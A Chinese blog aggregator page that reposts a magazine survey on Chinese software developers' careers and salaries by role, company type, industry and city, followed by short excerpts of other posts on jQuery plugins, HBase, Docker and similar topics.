软件开发,并非只有计算机专业的人才能胜任,调查显示,有近40%的开发者是从其它相关或无关专业转行而来,但不可否认的是,占据60%者仍然为科班出身者。另外,尽管从来就崇尚高中毕业生就能成为软件天才,但这样的神话毕竟只是少数,支撑中国软件业的仍然是大学教育程度以上者。参与调查者中86%具有大专以上学历,另有8%的人具有硕士学历,数据表明中国开发者的整体教育水平较高。 综合实力的三大法宝:阅历、技术与沟通 59%的开发者从业期间做过的项目不超过5个,61%的人沟通能力较差,而近76%的开发者对自己比较自信,认为自己能力不弱于公司其它人员甚至更强。根据调查,在影响软件人薪资的因素中,阅历、技术强弱是决定性因素。另外,信息化时代普遍重视团队与项目整体实力,沟通能力成为影响程序员个人发展的一个重要因素。 软件人主体正处青春期 “程序员是吃青春饭的”,这个论断在本次调查中从另外一个角度得到验证。58%的软件开发者年龄不到25岁,48%的人在本领域工作时间不到3年,这些软件生力军未来5年必将成为引导中国软件发展潮流的主力军(见表18、表19)。另外,根据调查与采访,年龄在35岁左右的第二代软件人,现在已经成长为企业或项目的管理者,在各大软件公司担当着成熟、理性、有主见的软件开发带头人的角色。 待遇与福利走向正规化 有63%的公司会根据员工表现主动加薪(见表20),近80%的公司会为员工提供基本福利,如养老、医疗保险、住房补助、午餐补助等(见表21)。培训作为提升开发人员专业技能和实力的直接手段,越来越得到更多公司的重视。根据调查,项目奖金和固定假期基本成为以项目方式运作的公司的固定法宝,以鼓励和保障员工的士气和工作积极性。越来越多的中国软件企业,开始迈向规范化管理之路。 技术与眼光是决定薪水的至关要素 绝大部分被调查者都认为技术能力是决定薪资的最关键因素。但在采访过程中,却有更多的技术总监甚至公司总经理一级,认为短期内决定一个开发者薪水的因素中技术能力确实非常关键,但从长期来看,能对开发者的薪水带来长期且持久影响的,却不只是技术能力,更多的则是他本人对业界的了解度,即眼光是否开阔。这是一个很重要的信号,如果只在技术点上打转的人,除非是技术天才型,决大多数必须从综合能力等各方面来加强,而绝非技术这一点。可以说,在加强自身技术实力的前提下,开阔的视野、一定的沟通能力、自我管理与团队管理能力都对个人的发展起到至关重要的作用。(见表22) 现状解析:五维度立体定位开发者的薪资水平 结合以上调查结果以及本刊记者的深入采访,从宏观角度来看,有五个要素立体性地将软件人定位在了一定的薪资水平上。 这五个要素分别是:眼光技术、角色定位、公司性质、行业领域、地域因素。除第一、二要素是以个体原因占主体外,其他三个关键要素都取决于社会、产业、企业或公司本身的发展情况,但这些要素也不是一成不变的,在一定程度上,都是双向选择。 眼光技术是关键 一级:眼光与阅历 二级:核心技术 三级:专业与沟通 眼光开阔者得高薪 被采访者:王永刚 个人背景:软件公司cto 对于“决定薪资的最关键因素是什么”这个问题,王永刚用“是否适合职位”来回答,这一点与很多认为技术能力强就可以拿高薪的观点很不一样。他认为,多数职位分工不同,即便技术能力强但不适合职位,一样拿不到理想的薪水。他们公司在给员工定职定薪时,会与权威的咨询公司合作,从分析职位工作职责,到该职位所要求的人员素质,再到应聘员工对该职位的理解以及实际的工作情况,进行综合考虑。 专业与技术产生核心竞争力 被采访者:孙勇 个人背景:高级程序员,linux下c/c++开发 工作四年来,孙勇一直从事linux下使用c/c++进行的嵌入式开发,四年中跳过两次槽。跳槽前后的薪水变化很有意思,跳槽前月薪低年薪高,跳槽后月薪高但年薪却降了很多,原因是第一家公司项目奖金、年终分红很多,而第二家公司却没有其他方面的奖励机制。 孙勇自认为跳槽太过频繁,这样对自己技术能力的发展会产生较多的负面影响。在他看来,一个人薪资的高低终究取决于自己技术的核心竞争力,变动太大可能会造成技术上的不连续。所以孙勇说,未来五年内自己会沉浸于技术不考虑其它,目的只有一个,就是让自己更专业、更核心! 专家分析:眼光专业与核心竞争力是定位软件人层级的第一法码,其包含着很多的综合因素:专业背景、阅历、经验值、能力高下等等。趋势全球研发及资讯执行副总裁国屏认为,“技术很重要,但更重要的是市场和文化的配合。在个人的发展过程中,学习也会起到重要的作用。此外,还必须认同企业文化,具备技术、对工作、对解决问题的热情”。此外,学习能力和沟通能力也是专家们认为重要度很高的2个要素。当然,这其中,作为前提“最重要的还是兴趣,缘于自身对程序开发的热爱”,8848公司cto张研如是说。 角色大挪移 一级指标:cto、项目承包人 二级指标:架构师、部门主管/项目主管 三级指标:普通开发人员 从个人发展的角度和过程来看,这个指标应该是倒向。但从业界普遍的认识,无论是能力、阅历还是收入待遇,人们普遍对一级指标中的人员更多持赞赏态度。 被采访者:张齐生 个人背景:技术总监 起初,我只是在一家软件公司作java程序员,后来随着项目的进展以及工作时间的推移,自己的技术能力、项目管理能力也逐步加强,从最初的开发人员做到项目主管,2003年底的时候做到技术总监,工资范围也从最初的4000元到8000元,再到技术总监的万元,角色的改变确实带来了很多附加价值,当然,这个职位要求你带来的价值也会更多。 专家分析:出现这种工资结构是正常的。因为架构师、cto一般都是从普通开发人员过来的,具有深厚的业界开发经验和背景。联合信息集团移动应用开发部总经理熊军认为,开发人员必须“对自己能力的认识有一个准确的职业定位。认识自己,才能准确地职业定位,有了准确的职业定位,才能有短期、中期和长期的发展方向和动力。” 8848公司cto张研表示反对“学而优则士”、“不想当将军的士兵就不是好士兵”此类说法。同样,csdn网站、《程序员》杂志社总经理蒋涛也不建议所有程序员都向管理道路发展,因为相比之下,项目经理和cto必定具有一些独特的素质,比如沟通能力、项目管理能力,组织能力、计划能力以及产品和技术的眼光等,这些素质并不是每一个人都具备的。 公司对对碰 一级指标:外资、合资、民营大型it公司 二级指标:合资、中小软件公司 三级指标:国企、事业单位 采访中,有位叫王岩的资深开发人员一再强调,如果可能,一定要进外企。本次调查中,微软亚洲研究院,ibm研究院等外企几乎成了大部分开发人员所向往的圣地。 外企是我第一选择 被采访者:李文山 个人背景:技术支持 上海交大毕业的李文山,在校时就已经参与了很多社团活动,因此也见识了不少各种企业人员的做事风格与思想状态。外企大公司前沿的技术科研、严谨负责的处事态度都给他留下了深刻的印象。当然,丰富的培训、优厚的待遇、放心的福利也是必须考虑的因素。用他的话说,“身边全是一级的牛人,自己的发展自然就有了保障”。 中小软件企业机会多 被采访者:刘洋 个人背景:项目经理+程序员 天天加班加点,见到刘洋时他一脸的菜色,但心情不错。毕业不到一年,他就凭技术能力与管理能力当上了项目经理。虽然下面员工流动率高,但刘洋的薪水却是老板亲自钦点,比起毕业的同班同学绰绰有余。从项目最初的客户谈判、到中间执行,再到最后的交工,刘洋什么都做过,因此也锻炼得几乎成了全能手。对于未来,他希望公司业务做大后,能再规范一些,当然,随着公司的成长,自己上升的空间也很大。 三企走遍 被采访者:阿蒙(vchome.net) 个人背景:6年,通信行业,珠海 我很幸运,毕业时就进了美资软件公司,从事系统软件的开发工作,主要应用c/c++、x86汇编、mips汇编、ddk、sdk等技术,年薪四万多。在这家外企工作两年后,技术与处事能力大有提高,但开始心生厌倦,总觉得外面的世界很精彩。后来有一家从事通信软件产品开发的公司,答应年薪翻倍,一年后可走上管理层,怦然心动后就去新公司报到了。一年后,如愿以偿地走上管理层,两年后,技术管理能力以及行业业务能力有了质的飞跃,也越来越发现这个行业有前途,于是与朋友开始策划开公司,资金融到后就轰轰烈烈地创业了。没日没干了一年,由于资金与市场的原因,公司over,只好灰溜溜地去一家香港合资公司继续打工,仍做管理层。 我的感觉是,外企有一整套规章制度,薪金制度也较为完善,工作考评有客观的数值:月工作计划与总结、季度工作考核、上司的总体评价等,这些考核都很详细,细到完成的代码量、文档数、提过什么建议等等。国内企业也有计划与考核,但更多的是主观态度,而对工作的效果与过程并不具体细化,人际关系、表达能力等往往起着很微妙的关键作用。当然国内企业也有很多优点,比如制度灵活。 专家点评:人才的争夺,一方面是卯足了劲准备抢占有利地势和环境的个人开发者,另一方面,企业间的人才争夺战越演越烈。在此情况下,为了吸引国内的高素质人才,不少外企纷纷在中国开设研究院,走“曲线救国”道路。根据一份猎头资料,摩托罗拉研发中心、松下电器中国研究开发公司、ibm中国研究中心、朗讯公司贝尔实验室、微软中国研究院都是猎取高级科研、管理人才的大头。外企与外企、外企与国企、国企与民企,这个三角关系,虽然在早几年优劣非常明显,但现在,这种差距正在明显缩小。具体适合哪个企业,围城内外其实也并不是三重天(见下页表23)。 热点行业易淘金 一级推荐:移动开发、游戏开发 二级推荐:安全领域、企业信息化 三级推荐:通用软件、系统平台、项目开发等 专家点评:出现这种趋势主要是由市场对软件人才的供求决定的,因为目前在移动和游戏领域开发人员确实比较少,所以相对而言,他们的薪资较高,这就是所谓的“奇货可居”。但是,目前市场在成长,这些新兴或热点领域的开发人员数量也在逐渐增加,当达到一个平衡点时,他们的工资也会随之下降,这主要由市场对人才的供求关系决定。不建议开发人员轻易放弃自己原有的开发领域花大量时间和精力投向自己不熟悉的领域。 所以,熊军认为:这两个行业方向的长线发展看好,也需要更多的开发人员,但是年轻人都要根据自己的兴趣爱好、思维模式、技术能力选择更适合自己的行业方向,而且也有很多更有潜力的方向,建议年轻人从长远考虑。 地域火拼 一级指标:北京、上海 二级指标:深圳、杭州、广州 三级指标:成都、武汉、大连等 绝大多数的软件从业人员集中在北京、上海、广州和深圳四大城市,其中尤以北京的人数最为集中,但在另一项相关的调查中,上海却是程序员最向往的城市。在本次收入调查中,北京、上海的工资较高。武汉稍低于成都。 地域不同,薪资有别 被采访者:青润 个人背景:5年,电信行业、软件企业服务 我本人在北京、上海、深圳、成都四地都曾工作过。我基本上这样认为,对于刚刚大学毕业的软件人员,工资情况是这样:成都1500-2000元/月,上海2000元/月,深圳2000-2500元/月,北京2000-2500元/月。工作几年后,以成都系数为1来计,上海和其他地方为1.3-1.5倍于成都的收入。差异主要也是因为生活成本造成的。 相比而言,北京具有王者气氛,有着俯瞰全国的实力和影响力。上海是经济驱动的城市。深圳对人的友好度最好,它的优点是有各种各样的新技术公司,缺点是缺乏大公司的支撑。好山好水的成都,虽起步了很多软件公司,但大都在出川后倒下了,或者只是长居四川,足少出户,感觉比较舒适和懒散。 安逸的成都竞争的北京 被采访者:夏桅 个人背景:。net开发人员 夏桅毕业之后就来到北京从事软件开发工作。但他时常怀念起成都的生活,那里的山,那里的水,还有怡然自得的成都人都给他留下了深刻的印象。 但夏桅还是不后悔。一方面,安逸的环境对自己发展不利,适度的竞争可以发掘自身的潜力。而且,眼界开阔了,薪水也高不少。当然,在北京的生活绝对说不上舒服,但机会多,可有多种选择,极大地改观了自己的现状。 一眼可以看到头的武汉,但我喜欢 被采访者:刘如宁 个人背景:大学教师、项目主管 在武汉工作了10多年,刘如宁感觉还是比较惬意。比收入,武汉可能还不如成都,更别提北京和上海,但武汉的生活成本比较低,几块钱就够一天的伙食了。在高校担当大学教师的刘如宁,科研任务不重,而且还有足够的时间去外面承接项目,用自己喜欢的软件开发技术赚取外快。“我不是一个特别喜欢接受挑战的人,这种做自己喜欢的事情、宁静而富裕的生活,我还是比较满足”,有房、有车,生活安定富足的刘如宁如是说。 专家点评:比“营利”,必须是一个闭环。有收入比较,还得有支出比较,两者对比后才是最终收获。在地域这个问题上,大城市,确实收入比较高,但相对的,生活成本也较高。 趋势全球研发及资讯执行副总裁梁国屏表示,趋势的薪资结构体系在全世界都是一样的,具体数值要根据各地的市场来调整。比如一个经理,他的等级可能是10,那么不论在中国、日本还是美国,他的等级都是10.但这个等级的薪水具体是多少,就要看当地的市场了,趋势会和当地的薪资调查单位合作,来确定系数,然后计算出具体的薪水。 除薪水外,地域的附加价值会更重要一些。第一,对于技术发展比较迅速的it业,在大城市,整体的环境和氛围相对会好一些,例如在北京和上海等地,几乎每天都会有技术论坛、开发者大会、大厂商的开发日、各领域大师的巡回讲座等。其次,作的机会也会比较多,因为集中了各种类型的公司和企业,总会找到适合你条件的合适职位和选择。第三,可以参与比较大的技术团体,形成独特的生活与社交圈。用8848公司cto张研的话来说,“如果周围都是高手,你不是高手也难”,所以地域对人影响最大的是提供了一个环境,其次才是机会和薪水。 对此,telelogic公司北方区总经理任群力建议说,“如果开发人员能够善于利用互联网,并有决心多学习,这种地域差异会得到弱化。” 我拿青春赌明天 在本次专题组织中,大部分被采访人都明确表示,自己会在软件业领域一直奋斗下去,因为从中得到了很多的快乐与激情。但明天是否一定会更好,这需要从两个角度去考虑:一是从个人角度讲,年轻的软件人一定要有个人职业的规划,而且这种规划要从自己特点或专长出发,与当前业界相适应。另外,更重要的是,个人发展到什么程度,还需要同整个软件大环境和社会环境挂钩。 个人职业要规划 现在广州做了4年delphi/c行业开发、年薪10万的王旋说,“工作后所得到的收获就是,学习和工作要有相对明确的目标,不能因为一时心动而去学习某一技术。在真正下决定之前,我通常会考虑更多因素,包括长期的发展、个人路线的规划、需要付出的代价、可能遇到的困难以及解决的办法等等,在决定后还会制定更加明确的计划,包括短期、中期和长期的,身边可以利用到的资源,以及每一个阶段是怎么过渡到更高阶段的计划。” 现在,越来越多的在职人员意识到,未来的职业细分市场中,只有在某一领域确实比较深入、具有专长和资源的人会得到企业的重视,浪里淘沙勇者胜。 中国软件业面临困境 中国的软件业发展目前面临两难境地。上至国家,下至各城市都给予了相当的政策优惠,但整体软件业的发展却一直雷声大,雨点小。对此,北航软件学院院长孙伟忧心忡忡,“很多人从心里看不起印度,但印度的软件业却有数家2万、3万员工规模的大企业,放眼中国,规模最大的东软集团、用友公司,真正的软件开发者也不过两、三千人,这种差别太巨大了,我们一定要好好思考,中国的软件业究竟出了什么问题?” 对此,很多专家认为,中国软件业已经面临一个新的转折点,随着信息化在各行各业的深入运用,软件业有机会深度专业化,由边缘而进入核心,从而形成以深度专业化为特征的核心竞争力。无论个人还是公司,我们都有幸在第一时间站在了软件业这块前沿阵地,但明天是否会更好,还有待于中国软件业的整体发展,在这颇为沉闷的时刻,我们期望“让暴风雨来得更猛烈些吧”! 参考资料:http://www.w-training.com/viewc.asp?id=23922 ====================================================== 在最后,我邀请大家参加新浪APP,就是新浪免费送大家的一个空间,支持PHP+MySql,免费二级域名,免费域名绑定 这个是我邀请的地址,您通过这个链接注册即为我的好友,并获赠云豆500个,价值5元哦!短网址是http://t.cn/SXOiLh我创建的小站每天访客已经达到2000+了,每天挂广告赚50+元哦,呵呵,饭钱不愁了,\(^o^)/ 本篇文章为转载内容。原文链接:https://blog.csdn.net/javazhuanzai/article/details/7189396。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-24 09:01:26
287
转载
JQuery插件下载
...设计用于网页上的内容管理和个性化备忘。它允许用户在浏览页面时创建自定义颜色的便签纸,并且支持自由拖拽到页面上的任何位置,从而实现灵活布局与组织。通过点击右上方的蓝色加号按钮,轻松添加新的便签,并在其中输入所需记录的文字信息。此插件特别注重用户体验和数据持久化,用户编辑完便签内容后,只需点击便签右下角的保存按钮,插件将能够通过回调函数把便签的内容及其在页面上的位置信息保存至文件或数据库中,确保下次访问时便签状态得以恢复。此外,color-sticker插件还支持便签的删除和导入功能,使得用户可以高效管理多个便签并跨设备同步信息。凭借其简洁易用的设计和强大的可定制性,该插件成为提升网站互动性和用户留存率的理想工具。通过纯JavaScript和jQuery技术结合CSS样式,color-sticker成功模拟了桌面便签应用的便捷与乐趣,为网页增添了一抹实用而富有创意的元素。 点我下载 文件大小:68.63 KB 您将下载一个JQuery插件资源包,该资源包内部文件的目录结构如下: 本网站提供JQuery插件下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-10-10 09:40:02
388
本站
JQuery插件下载
...以轻松地将任何层级的数据结构转化为易于操作的树形目录,并嵌入到标准的下拉框中。这意味着你只需编写少量代码,就能实现一个既美观又实用的功能组件。无论是用于网站导航、产品分类还是权限管理,combo-tree都能完美适配,帮助你的应用或网站变得更加用户友好。总之,combo-tree凭借其直观的设计、灵活的功能和高效的性能,成为了开发过程中不可或缺的工具之一。无论你是前端新手还是经验丰富的开发者,都将发现这款插件能显著提升你的工作效率,让复杂的多级选择变得简单快捷。 点我下载 文件大小:75.47 KB 您将下载一个JQuery插件资源包,该资源包内部文件的目录结构如下: 本网站提供JQuery插件下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2025-01-15 10:54:44
88
本站
JQuery插件下载
...,避免因误操作导致的数据损失。拖拽上传该插件引入了拖拽上传功能,允许用户通过简单地将文件从桌面或其他文件管理器中拖放到上传区域来完成文件上传。这种交互方式更加自然流畅,减少了用户的操作步骤,提升了使用效率。AJAX技术支持ssi-uploader采用AJAX技术进行后台数据交换,实现了无刷新页面的上传过程。这意味着用户可以在上传文件的同时继续浏览网站其他部分的内容,无需等待上传完成页面重新加载,大大提升了用户体验。文件格式与大小控制插件提供了对上传文件格式和大小的严格控制。开发者可以根据需要设置允许上传的文件类型及其最大容量,有效防止恶意文件的上传,同时保护服务器资源不被滥用。回调函数ssi-uploader支持多种回调函数,允许开发者根据上传进度或结果执行特定操作。例如,可以设置成功上传后的处理逻辑,如发送邮件通知、更新数据库等,极大地增强了插件的灵活性和实用性。使用便利性总体而言,ssi-uploader以其丰富的功能和便捷的使用方式,成为了前端文件上传领域的佼佼者。无论是个人项目还是企业应用,只要涉及文件上传需求,都可以考虑使用此插件,以提升用户界面的友好性和功能性。 点我下载 文件大小:122.78 KB 您将下载一个JQuery插件资源包,该资源包内部文件的目录结构如下: 本网站提供JQuery插件下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2024-09-27 20:51:51
94
本站
HTML
...权的关机操作可能导致数据丢失或系统不稳定。此外,这种功能可能会违背用户隐私和预期行为,因为用户可能期望他们的电脑在没有明确指示的情况下不会被随意关机。 因此,Web开发者在设计这类功能时,必须充分考虑到安全性。例如,可以采用沙箱模式限制JavaScript的权限,或者提供更安全的API接口供用户控制。同时,教育用户识别和避免潜在的安全威胁也至关重要。在未来,随着浏览器和Web标准的进步,我们期待看到更加精细的权限管理和更严格的安全规范,以确保此类功能既能提升用户体验,又能在保障安全的前提下得以实现。
2024-04-14 15:58:57
571
程序媛
HBase
1. 背景 当你的数据量比较多,而且又有要求响应较快的查询场景。你会如何选型? mysql、mongo、elasticsearch等完全可以,当然,你肯定不会忘了hbase。“海量数据存储”的海量,非hbase莫属。 几种常见数据库的对比如下: 2. hbase应用场景 如果你的查询场景就是根据key拿到结果,没有其它的过滤筛选条件,这就是经典的“点查”,“点查”在hbase上是非常合适的。 当然,除了hbase,还有很多适合“点查”的数据库,比如aws的dynamodb、google的bigtable。但一般公司或自用站点,还是用hbase更合适。 不用很纠结技术选型,hbase依旧非常经典,而且版本也在源源不断的迭代,适合自己的就是最好的。 3. hbase安装依赖 如果你的机器资源不足或只有一两台机器的站点,那么不建议使用hbase,因为它严格依赖hdfs存储系统和hadoop计算架构,以及zookeeper。 如果你的机器配置不高,在安装完这一些,还没安装完hbase的时候,内存就已经被占据了不少了。 4. 场景解析 本篇文章更关注于选型的探讨,不涉及原理的解析。所以当什么场景下应该会使用到hbase,我们再来回顾一下。 hbase的查询方式是通过rowkey做交互。所以,如果你的查询能够抽象为用rowkey直接获取,那么就适合用hbase查询。 这里的rowkey不仅仅是一个id或uuid,它甚至可以是几个字段组成的一个有限长度的字符串,比如“zhangsan-18-beijing”都是可以的。 但是,hbase不能带有其它的filter,比如你要过滤age<18,虽然可以使用hbase的一些协处理器实现,但性能会十分让你惊讶。性能是不好的。 所以,如果你的查询能够抽象为有意义的rowkey,那直接用hbase存储和查询是没有问题的。而且要注意rowkey的长度和散列,太长的rowkey会带来性能的损失,不具备散列特性的rowkey会带来热点问题。 5 自定义过滤下的hbase 从本篇文章的第一小节可以看到,极好的一列出现了三位选手:hbase、redis和elasticsearch 大数据情况下,或海量数据场景下,咱就先让redis休个假吧。如果你的数据较为海量,使用elasticsearch+hbase的搜索存储架构是非常好的选择。 这里引用阿里云的一篇文章:https://developer.aliyun.com/article/941191 6 总结 只有点查的场景,你只需要使用hbase。 只有搜索的场景,其实你完全可以只使用elasticsearch。 但当数据量不断扩大,而且参数搜索的字段可能只是所有字段的一部分,你不妨使用elasticsearch+hbase架构。搜索字段放elasticsearch,需要拿出来数据计算或展示的字段放hbase。各司其职,索引库+存储库分离。 索引库+存储库这个思想也不是为elasticsearch+hbase特定准备的,比如索引库你可以替换为lucene或solr,存储库可以替换为casandra或berkeleydb等都是可以的。任意两个组件都可以组合。
2024-01-27 18:28:18
559
admin-tim
Python
...言在现代物流与供应链管理中的实际运用和最新动态。近日,菜鸟网络就宣布其智慧供应链系统升级,采用AI算法和大数据技术优化订单处理流程,其中便涉及了Python等编程语言的大量使用,用于自动化生成、追踪及更新物流订单状态,显著提升了签收环节的工作效率与准确性。 此外,Python在工业4.0时代背景下,对于实现智能制造中复杂业务逻辑的模拟与优化也起到了关键作用。例如,京东物流利用Python进行智能仓库管理系统开发,通过实时模拟各种工单处理情景,有效预防并解决了可能存在的签收瓶颈问题。 对于开发者而言,学习Python模拟签收工单的实际案例只是掌握该语言强大功能的第一步。更深层次的应用还包括对接企业ERP系统、构建基于规则引擎的智能决策系统以及利用机器学习预测签收时效等前沿技术。例如,《Python在供应链管理系统的实践与应用》一书中,作者详细解读了如何借助Python对各类业务场景进行建模,并应用于实际的工单签收流程模拟与优化。 综上所述,在物流与供应链行业持续智能化的趋势下,Python等编程语言已成为提升签收流程效率、确保数据准确无误的重要工具,值得广大开发者和行业从业者深入研究与实践。
2023-09-26 11:29:18
154
代码侠
VUE
...让研制人员可以轻松地建立和保养繁琐的Web应用程序。 Vue应用程序的根基是Vue实例。Vue实例是用于建立Vue应用程序的基本骨架。以下是一个基本的Vue实例: var app = new Vue({ el: 'app', data: { message: 'Hello, Vue!' } }) 在上面的代码中,我们首先建立了一个Vue实例,并将其保存到名为app的变量中。然后,我们指定了应用程序的根元素的选择器,即el选项,它是字符串 'app'。Vue将在此元素中挂载应用程序。 接下来,我们指定了一个名为data的选项,它是一个对象。这个对象包含message属性,该属性的值为字符串'Hello, Vue!'。数据选项是Vue实例的状态的来源,我们可以在应用程序中使用它们。 最后,我们建立了一个Vue实例,然后将其保存到app变量中。Vue实例将管理应用程序的所有数据和行为。现在,我们已经完成了Vue应用程序的基本骨架。我们可以在此根基上构建繁琐的Vue应用程序,并享受Vue带来的快速和简便的研制过程。
2023-07-11 17:29:32
70
程序媛
Docker
在Docker容器中管理文件和目录是一项基础且重要的操作。随着容器化技术的日益成熟,不仅限于将文件夹放入容器,更涉及到数据持久化、卷管理和多容器间的数据共享等复杂场景。例如,Docker提供了-v或--volume选项用于创建数据卷,实现宿主机与容器之间的数据共享和持久化存储,即使容器被删除,数据依然得以保留。 近期,Docker推出了Compose V2版本,进一步简化了多容器应用程序的部署和管理,其中就包括对多个服务间共享文件夹的优化配置。通过在docker-compose.yml文件中定义volumes关键字,可以轻松指定不同服务间的文件夹挂载关系,这对于微服务架构中的日志共享、配置同步等需求提供了极大便利。 此外,Kubernetes作为容器编排领域的领导者,其PersistentVolume(PV)和PersistentVolumeClaim(PVC)机制为在Pod间共享文件夹提供了更为强大的解决方案。用户可以根据实际需求声明存储资源,实现跨节点甚至跨集群的数据共享。 深入理解并掌握这些高级功能,不仅可以确保在开发、测试到生产环境迁移过程中数据的一致性和完整性,更能提升容器化应用的可维护性和扩展性。对于持续关注云原生技术发展的开发者来说,不断跟进学习Docker及Kubernetes在数据管理方面的最新进展是十分必要的。
2023-11-22 11:10:48
520
键盘勇士
VUE
...后执行自定义逻辑,如权限验证、数据预取等,确保数据的一致性和安全性。 再者,对于大型单页应用来说,Vue Router结合Vuex状态管理库,能够更好地管理和同步跨组件间的数据传输,使得复杂的应用状态变化变得有序且易于维护。参考官方文档及社区分享的实战经验,可以帮助我们更好地将Vue Router融入到实际项目开发中,打造更为流畅高效的前端应用体验。
2023-05-14 15:02:10
110
程序媛
Docker
...cker容器中的文件管理、数据持久化以及多容器间的共享存储更为便捷和安全。 同时,随着微服务架构的广泛应用,Docker Compose工具因其对多容器应用程序定义和部署的简化而备受瞩目。通过Compose文件,开发人员可以轻松配置多个容器间的数据卷挂载策略,从而确保服务间数据的可靠传输与同步。 另外,对于数据敏感型应用,诸如数据库容器等,Docker持续优化其对存储驱动的支持,如支持本地存储、网络存储(NFS、iSCSI)以及云服务商提供的块存储服务,这无疑提升了容器环境中数据的安全性和可用性。 此外,业界也在积极研究和发展基于Docker的新型文件系统解决方案,例如结合分布式存储系统以满足大规模集群环境下容器对高性能、高可用文件读写的诉求。这些前沿技术和实践为Docker在企业级应用场景中提供了更强大的支撑,也体现了容器技术在持续演进中不断解决实际问题的决心与创新力。 总之,深入掌握Docker容器中的文件读写机制,并关注其在云原生领域的发展动态和技术革新,将有助于我们在构建现代化、可扩展的应用架构时,更好地利用Docker的优势,提升开发运维效率,保障业务系统的稳定运行。
2023-12-30 15:13:37
472
编程狂人
Docker
...技术,允许用户创建和管理隔离的环境(即容器),确保程序在不同环境下运行的一致性,但可能带来时钟同步问题。 容器化技术 , 容器化技术是现代软件开发和部署的一种重要手段,它将应用程序以及其运行所需的所有依赖资源(如库、配置文件等)封装在一个独立、轻量级的可执行包中,这个包被称为“容器”。在文中,Docker是实现容器化的重要工具,通过容器化技术,可以在不同的主机系统上保持一致的应用程序运行环境,但时钟同步是需要解决的一个关键问题。 NTP服务 , 网络时间协议(Network Time Protocol, NTP)是一项用于在计算机网络中同步所有设备系统时钟的服务。在本文中,NTP服务被用于解决Docker容器内时钟与外部世界不一致的问题。通过在容器内部安装并配置NTP服务,容器可以从指定的NTP服务器(如pool.ntp.org)获取准确的时间信息,并自动调整自身系统时钟,从而确保容器内应用程序能够获得精确的时间数据。
2023-10-26 12:53:07
468
程序媛
JQuery
...色。特别是在处理大量数据时,如动态生成网页元素内容、构建查询字符串以及进行AJAX请求参数序列化等场景。 最近,随着WebAssembly和高性能JavaScript库的兴起,原生JavaScript性能优化的重要性更为凸显。例如,在Vue 3或React最新版本的应用中,为了提高渲染效率,开发者们更倾向于使用原生JavaScript方法而非框架提供的便捷工具。.join()凭借其高效的内存管理和运行速度,在此类优化实践中发挥了关键作用。 另外,在大数据处理与可视化领域,.join()方法同样被广泛应用。例如,在D3.js库中创建SVG路径时,需要将坐标点数组转换为连续的路径数据字符串,此时.join()就能派上用场,实现高效的数据格式转化。 不仅如此,.join()方法还揭示了JavaScript对Unicode字符集的良好支持,当数组元素包含非ASCII字符时,它依然能准确无误地拼接成字符串,这对于国际化应用开发具有重要意义。 因此,对于前端开发者而言,不仅需要掌握jQuery等库的便捷功能,更要深入了解JavaScript原生API,如.join()这样的基础函数,以应对不断变化的技术趋势和实际应用场景的需求。同时,持续关注ECMAScript新标准的发展,了解并掌握新的字符串处理方式,也是提升开发效能的关键所在。
2023-04-28 20:55:09
44
码农
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
nc host port
- 连接到远程主机的指定端口发送或接收数据。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"